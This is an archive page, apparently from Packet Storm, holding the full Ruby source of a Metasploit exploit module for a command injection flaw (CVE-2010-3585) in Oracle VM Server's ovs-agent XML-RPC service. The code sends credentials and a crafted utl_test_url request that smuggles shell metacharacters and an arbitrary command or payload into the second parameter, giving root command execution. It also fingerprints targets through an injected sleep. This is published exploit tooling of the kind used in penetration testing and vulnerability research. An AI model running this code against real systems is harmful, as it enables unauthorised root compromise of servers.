exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle VM Server Virtual Server Agent Command Injection

Oracle VM Server Virtual Server Agent Command Injection
Posted Oct 25, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a command injection flaw within Oracle\\'s VM Server Virtual Server Agent (ovs-agent) service. By including shell meta characters within the second parameter to the 'utl_test_url' XML-RPC methodCall, an attacker can execute arbitrary commands. The service typically runs with root privileges. NOTE: Valid credentials are required to trigger this vulnerable. The username appears to be hardcoded as 'oracle', but the password is set by the administrator at installation time.

tags | exploit, arbitrary, shell, root
advisories | CVE-2010-3585
SHA-256 | a344bd54fa4c477119c5044e88885c1a910d29d6cdf06faf3ada865aec5793cd

Oracle VM Server Virtual Server Agent Command Injection

Change Mirror Download
##
# $Id: oracle_vm_agent_utl.rb 10821 2010-10-25 20:58:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle VM Server Virtual Server Agent Command Injection',
'Description' => %q{
This module exploits a command injection flaw within Oracle\'s VM Server
Virtual Server Agent (ovs-agent) service.

By including shell meta characters within the second parameter to the 'utl_test_url'
XML-RPC methodCall, an attacker can execute arbitrary commands. The service
typically runs with root privileges.

NOTE: Valid credentials are required to trigger this vulnerable. The username
appears to be hardcoded as 'oracle', but the password is set by the administrator
at installation time.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10821 $',
'References' =>
[
# ovs-agent.spec:- Fix ovs agent command injection [orabug 10146644] {CVE-2010-3585}
['CVE', '2010-3585'],
['OSVDB', '68797'],
['BID', '44047']
],
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 512,
'BadChars' => '<>',
'DisableNops' => true,
'Keys' => ['cmd', 'cmd_bash'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 12 2010'
))

register_options(
[
Opt::RPORT(8899),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('CMD', [ false, "A single command to execute instead of the payload" ]),
OptString.new('USERNAME', [ true, "The user to authenticate as", 'oracle']),
OptString.new('PASSWORD', [ true, "The password to authenticate with" ])
], self.class)

deregister_options(
'HTTP::junk_params', # not your typical POST, so don't inject params.
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
)
end

def go(command)
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']

xml = <<-EOS
<?xml version="1.0"?>
<methodCall>
<methodName>utl_test_url</methodName>
<params><param>
<value><string>PARAM1</string></value>
</param></params>
<params><param>
<value><string>PARAM2</string></value>
</param></params>
<params><param>
<value><string>PARAM3</string></value>
</param></params>
<params><param>
<value><string>PARAM4</string></value>
</param></params>
</methodCall>
EOS

sploit = rand_text_alphanumeric(rand(128)+32)
sploit << "';" + command + ";'"

xml.gsub!(/PARAM1/, 'http://' + rand_text_alphanumeric(rand(128)+32) + '/')
xml.gsub!(/PARAM2/, sploit)
xml.gsub!(/PARAM3/, rand_text_alphanumeric(rand(128)+32))
xml.gsub!(/PARAM4/, rand_text_alphanumeric(rand(128)+32))

res = send_request_cgi(
{
'uri' => '/RPC2',
'method' => 'POST',
'ctype' => 'application/xml',
'data' => xml,
}, 5)

if not res
if not session_created?
print_error('Unable to complete XML-RPC request')
return nil
end

# no response, but session created!!!
return true
end

case res.code
when 403
print_error('Authentication failed!')
return nil

when 200
print_good('Our request was accepted!')
return res

end

print_error("Encountered unexpected #{res.code} reponse:")
print_error(res.inspect)

return nil
end

def check
print_status("Attempting to detect if the server is vulnerable...")

# Try running/timing sleep 3
start = Time.now
go('sleep 3')
elapsed = Time.now - start
if elapsed >= 3 and elapsed <= 4
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("Attempting to execute the payload...")

cmd = datastore['CMD']
cmd ||= payload.encoded

if not go(cmd)
raise RuntimeError, "Unable to execute the desired command"
end

handler
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close